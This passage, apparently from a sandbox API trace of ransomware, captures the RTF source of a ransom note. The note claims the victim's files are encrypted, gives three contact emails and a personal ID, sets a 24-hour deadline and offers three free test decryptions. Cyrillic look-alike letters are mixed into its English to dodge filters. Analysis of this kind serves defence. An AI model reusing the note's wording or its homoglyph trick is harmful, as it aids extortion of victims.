il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 